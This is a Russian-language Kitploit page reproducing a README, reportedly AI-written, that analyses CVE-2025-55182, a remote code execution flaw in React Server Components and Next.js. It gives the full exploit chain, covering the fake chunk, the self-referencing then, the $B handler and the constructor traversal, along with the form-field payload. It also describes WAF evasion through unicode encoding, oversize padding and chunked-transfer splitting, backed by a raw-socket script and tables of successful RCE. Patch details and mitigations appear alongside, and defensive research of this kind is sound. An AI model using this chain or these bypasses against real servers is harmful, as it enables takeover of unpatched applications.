Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Подробный технический анализ и эксплойт доказательства концепции для CVE-2025-55182, критической уязвимости RCE в протоколе Flight от React. Охватывает обход пути, инъекцию поддельных фрагментов и методы обхода WAF. | Kitploit
Инструменты/GitHubGitHub/hulh122/cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Подробный технический анализ и эксплойт доказательства концепции для CVE-2025-55182, критической уязвимости RCE в протоколе Flight от React. Охватывает обход пути, инъекцию поддельных фрагментов и методы обхода WAF.

Репозиторий
28 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 - RCE в React Server Components

ПРИМЕЧАНИЕ: Написано ИИ/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

Кратко

CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода в React Flight Protocol. Цепочка атаки использует path traversal + внедрение поддельного чанка + злоупотребление обработчиком $B для выполнения Function(attacker_code).

Большое спасибо maple3142 за рабочую цепочку эксплуатации!


Эксплойт

Обзор атаки

Эксплойт использует три поля формы для создания вредоносной нагрузки:

  1. Создает поддельный объект чанка с самореферентным then (поле 1 $@0 → поле 0)
  • Встраивает поддельный _response с _formData.get, установленным на $1:constructor:constructor
  • Запускает обработчик $B, который вызывает response._formData.get(response._prefix + id)
  • Path traversal разрешает _formData.get → Function, выполняя Function(code)
  • Порядок эксплуатации```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Ключевые компоненты
    
    | Компонент | Назначение |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | Самореферентный thenable; чанк 1 (`$@0`) указывает обратно на чанк 0 |
    | `status: "resolved_model"` | Делает объект похожим на валидный React-чанк |
    | `reason: -1` | Устанавливает rootReference в undefined (избегает конфликтов ссылок) |
    | `value: '{"then":"$B1337"}'` | Вложенная нагрузка, запускающая обработчик `$B` |
    | `_response._prefix` | Содержит строку RCE-кода |
    | `_response._chunks: "$Q2"` | Пустая Map для предотвращения сбоев при обработке чанков |
    | `_response._formData.get` | Указывает на `Function` через `$1:constructor:constructor` |
    
    ### Детальный разбор компонента
    
    #### Структура поля формы
    
    Эксплойт использует три поля формы с циклическими ссылками:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    Самоссылочный Thenable (then)

    then: "$1:__proto__:then" создаёт самоссылку, которая разрешается в реальную функцию:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **Почему это критично:**
    
    1. `then` ссылается на `Chunk.prototype.then` - реальная вызываемая функция
    2. Это делает поддельный объект действительным thenable
    3. При ожидании (await) JS вызывает `obj.then(resolve, reject)`
    4. `Chunk.prototype.then` выполняется с поддельным объектом в качестве `this`:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) использует this._response — поддельный _response атакующего:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **Без само-ссылки** поддельный `_response` никогда не будет использован. Само-ссылка заставляет `Chunk.prototype.then` обрабатывать объект атакующего как настоящий Chunk.
    
    #### Двухэтапный thenable-триггер (`value`)
    
    Поле `value` содержит вложенную JSON-строку с другим thenable:```json
    {"then":"$B1337"}
    

    Этап 1: Самореферентное свойство then внешнего объекта запускает обработку чанка.

    Этап 2: Когда React разрешает модель, он парсит value и встречает другой thenable с then: "$B1337". Префикс $B запускает обработчик:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` — это `"$1:constructor:constructor"` → `getOutlinedModel()` разрешается в `Function`.
    
    Получается: `Function(code + "1337")` → валидный JS, так как `1337` — это просто завершающее выражение.
    
    #### Оборонительное заполнение (`_chunks`)
    
    Поддельному `_response` нужно корректное свойство `_chunks`, чтобы избежать сбоев:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    Внутренний код React может обращаться к response._chunks.get() или response._chunks.has() во время обработки. Пустая Map удовлетворяет этим вызовам без ошибок, позволяя выполнению достичь уязвимого обработчика $B.


    Уязвимые пути кода

    ПутьФункцияЦель в эксплойте
    Path TraversalgetOutlinedModel()Разрешает $1:constructor:constructor → Function
    Поддельная инъекция _responseinitializeModelChunk()Использует chunk._response злоумышленника
    Обработчик $BparseModelString()Вызывает _formData.get(_prefix + id) → RCE

    decodeReply() является точкой входа, сама по себе не уязвима.

    Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **Использование фиктивного ответа** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B Обработчик RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ## Исправление (19.2.1)
    
    Патч включает несколько исправлений:
    
    1. **`RESPONSE_SYMBOL` в `initializeModelChunk()`** - Критическое исправление   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. hasOwnProperty проверка в getOutlinedModel() - Блокирует обход прототипа ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. __proto__ handling in reviveModel() - Предотвращает загрязнение прототипа ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. Проверка типа в initializeModelChunk() - Проверяет слушателей ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    Влияние и версии

    Оценка влияния

    ВозможностьСтатусПримечания
    Обход цепочки прототипов✓ ПодтвержденоЧерез $1:constructor:constructor
    Доступ к конструктору Function✓ ПодтвержденоМанифест не нужен
    Полное RCE✓ ПодтвержденоЧерез фейковый chunk + обработчик $B

    Затронутые версии

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: те же версии
    • Next.js: 15.x, 16.x (до исправлений), canaries от 14.3.0-canary.77+

    Исправленные версии

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    Почему сигнатурное обнаружение WAF не работает

    В этом разделе объясняется, почему традиционные правила WAF, основанные на сопоставлении с образцом, не могут надёжно обнаружить эту эксплойту. Понимание этих ограничений необходимо командам безопасности для оценки своей защитной позиции.

    Основная проблема: кодирование на нескольких уровнях

    Полезная нагрузка эксплойта проходит через несколько парсеров, каждый из которых поддерживает разные кодировки. WAF, проверяющий сырые байты HTTP, видит закодированные строки, но сервер декодирует их перед обработкой:

    УровеньПарсерДекодирует
    Структура JSONJSON.parse()\uXXXX unicode escapes
    Код JavaScriptFunction() constructor\uXXXX, \xXX, octal, fromCharCode()

    Это создаёт фундаментальное несоответствие: WAF видит закодированные байты, а приложение — декодированные строки.

    Что сигнатурам нужно было бы сопоставлять

    Наивный WAF может искать шаблоны вроде constructor, __proto__, resolved_model или child_process. Однако JSON допускает unicode-экранирование для любого символа:

    Литеральный шаблонЭквивалент в UnicodeОбнаружение WAF
    constructor\u0063onstructorОбойдено
    __proto__\u005f\u005fproto\u005f\u005fОбойдено
    resolved_model\u0072esolved_modelОбойдено
    $@ (circular ref)$\u0040Обойдено

    Код JavaScript внутри полезной нагрузки имеет ещё больше возможностей кодирования:

    ШаблонВарианты кодирования
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, числовые коды символов, base64
    Любой идентификаторСкобочная нотация: this[S(112,114,...)], где S=String.fromCharCode

    Разрыв в обнаружении

    Когда все методы кодирования объединены:

    • Ключи JSON становятся unicode-последовательностями (\u0074\u0068\u0065\u006e для then)
    • Идентификаторы JS становятся числовыми массивами (S(99,104,105,108,100,95,...) для child_process)
    • В сырой нагрузке нет ни одного распознаваемого ключевого слова

    WAF, сканирующий тело HTTP, видит только escape-последовательности и числа — ничего, что соответствует традиционным сигнатурам атак.

    Почему это важно для защитников

    1. Сигнатурные правила дают ложную уверенность — нагрузка достигает сервера незамеченной
    2. Кодирование бесконечно — каждый символ может быть экранирован по-разному; регулярное выражение не может перечислить все варианты
    3. Атака соответствует протоколу — все кодировки являются допустимыми JSON/JavaScript согласно спецификации

    Особенности обнаружения заголовков

    Заголовок Next-Action идентифицирует запросы Server Action. Хотя имена заголовков не могут быть закодированы в Unicode (RFC 7230 требует ASCII-токены), различия в нормализации между WAF и сервером создают пробелы в обнаружении:

    ВариантПоведение сервераРиск для WAF
    next-action (нижний регистр)Принимается (HTTP нечувствителен к регистру)Пропущен, если WAF ожидает точный регистр
    Next-Action:\tx (tab)Принимается (пробелы нормализованы)Пропущен, если WAF ожидает пробел
    Next-Action: x (spaces)ПринимаетсяПропущен без нормализации

    Рекомендации по защите

    Установка исправлений — единственное надёжное средство. Правила WAF не могут полностью заблокировать эту атаку из-за гибкости кодирования.

    Необходимые версии:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Если установка исправлений задерживается, рассмотрите:

    1. Декодировать перед сопоставлением — WAF должен декодировать \uXXXX, \xXX и нормализовать вызовы fromCharCode() перед сопоставлением с шаблоном
    2. Структурное обнаружение — ищите структуры JSON, содержащие _response, _prefix, _chunks или циклические ссылки ($@0)
    3. Нормализация заголовков — сопоставляйте заголовок next-action без учёта регистра и с обрезкой пробелов
    4. Блокировка Server Actions — если вы не используете Server Actions, полностью блокируйте запросы с заголовком Next-Action
    5. Мониторинг в реальном времени — предупреждайте о вызовах Function() с динамическими строковыми аргументами

    Главный вывод: Одно только сопоставление с шаблоном не сработает против этого класса атак. Поверхность кодирования слишком велика для перечисления.


    Обход ограничений проверки тела в AWS WAF

    Даже при комплексных правилах WAF, AWS WAF имеет ограничения на размер проверяемого тела, которые могут быть использованы. В этом разделе описаны проверенные методы обхода с использованием полезных нагрузок большого размера.

    Ограничения проверки тела

    AWS WAF проверяет только часть тела запроса:

    БэкендОграничение по умолчаниюМаксимум настраиваемый
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    Проблема OversizeHandling

    Правила WAF указывают, как обрабатывать запросы, превышающие лимиты проверки:

    НастройкаПоведениеЭксплуатируемо?
    CONTINUEПроверить доступные байты, вычислить правилоДа — нагрузка после лимита не проверяется
    MATCHСчитать совпадением (блокировать)Нет
    NO_MATCHСчитать несовпадениемДа — пропускается

    Если ваше правило WAF использует OversizeHandling: CONTINUE (распространённое значение по умолчанию), обход тривиален.

    Стратегия обхода: Дополнение перед нагрузкой

    Разместите безвредные дополнительные данные перед полезной нагрузкой эксплойта, чтобы они оказались за пределами окна проверки:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Результаты тестирования
    
    Все полезные нагрузки большого размера успешно выполнили RCE на Next.js:
    
    | Padding Size | Total Body | Exploit Offset | Result |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### Обход chunked transfer encoding
    
    HTTP/1.1 chunked transfer encoding разделяет тело на отдельные чанки. Если WAF проверяет чанки **до** сборки, шаблоны, охватывающие границы чанков, не будут обнаружены.
    
    #### Как это работает```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    Шаблон разбит на части:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### Протестированные стратегии разбиения на фрагменты
    
    | Стратегия | Описание | Результат |
    |----------|-------------|--------|
    | Split at `$@` | `"$` \| `@0"` | ✅ RCE |
    | 10-byte fragments | Body split every 10 bytes | ✅ RCE |
    | 5-byte fragments | Body split every 5 bytes | ✅ RCE |
    | Split at `status` | `sta` \| `tus` | ✅ RCE |
    
    Все стратегии успешно достигли RCE — Next.js корректно собирает запросы по частям.
    
    #### Пример сырого сокета```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    Особенности поведения WAF

    Тип WAFОбработка фрагментовВозможен обход?
    AWS WAF (ALB)Собирает фрагменты перед проверкойМаловероятно
    AWS WAF (CloudFront)Собирает фрагменты перед проверкойМаловероятно
    Некоторые устаревшие WAFПроверяет каждый фрагмент отдельноДа
    Nginx ModSecurityНастраиваетсяЗависит от конфигурации

    Примечание: AWS WAF обычно собирает фрагментированные тела запросов перед проверкой. Однако это следует проверять в каждой среде, так как конфигурации могут различаться.

    Рекомендации по смягчению

    1. Измените OversizeHandling на MATCH ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    Это блокирует любой запрос, превышающий установленный лимит проверки, при соблюдении условий правила.

    1. Увеличьте лимит проверки тела (только CloudFront/API Gateway) Настройте до 64 КБ в параметрах веб-ACL, но это не полностью предотвращает обход.

    2. Добавьте правило блокировки по размеру Блокируйте POST-запросы с заголовком Next-Action, превышающим разумный размер (например, 10 КБ).

    3. Пропатчите приложение - Единственное полное решение.

    Тестовые скрипты

    См. прилагаемые тестовые скрипты:

    • test-simple.cjs - Базовый тест с не-чанковым payload
    • test-oversize.cjs - Тестирует размеры отступов от 0 до 128 КБ
    • test-chunked-v2.cjs - Чанковая передача с разбивкой $@
    • test-chunked-bypass.cjs - Несколько стратегий чанкования (5-байт, 10-байт, разбивка по шаблону)

    Использование:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## Исследовательский путь
    
    ### Уязвимость: Path Traversal```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    С полезной нагрузкой "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    Заблокированные пути, которые мы опробовали

    Хотя мы получили Function, для достижения RCE необходимо вызвать его с контролируемыми аргументами. Эти пути не сработали:

    1. Путь Thenable (заблокирован)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction Путь (Заблокировано)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. Путь итератора (Заблокировано)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### Прорыв
    
    maple3142 нашел недостающий элемент: обработчик `$B` + цепочка поддельных `_response`. Заставляя `then` разрешаться в `Chunk.prototype.then` через самореференцию, поддельный `_response` используется, что позволяет достичь RCE.
    
    ---
    
    ## Ключевые находки
    
    1. **Уязвимость `getOutlinedModel()` реальна** - Пути, разделенные двоеточием, позволяют обход цепочки прототипов
    
    2. **Конструктор Function доступен** - `$1:constructor:constructor` работает без serverManifest
    
    3. **RCE достижимо** - Созданием поддельного чанка с управляемым `_response`:
       - Самореференция `$1:__proto__:then` → `Chunk.prototype.then` заставляет поддельный `_response` использоваться
       - Структура поддельного чанка имитирует внутренний класс Chunk в React
       - `_response._formData.get` → конструктор `Function`
       - `_response._prefix` → строка вредоносного кода
       - Обработчик `$B` запускает `Function(вредоносный_код)`
    
    4. **Исправление всестороннее** - Множество проверок `hasOwnProperty` и валидаций типов
    
    ---
    
    ## Ссылки
    
    - [Gist maple3142](https://gist.github.com/maple3142) - обнаружение цепочки RCE
    - [Совет по безопасности React](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [PoC от msanft](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [Правило AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## Отказ от ответственности
    
    Этот репозиторий предназначен **только для образовательного и защитного исследования безопасности**. Уязвимость исправлена. Немедленно обновите свои зависимости.
    
    Скачать инструмент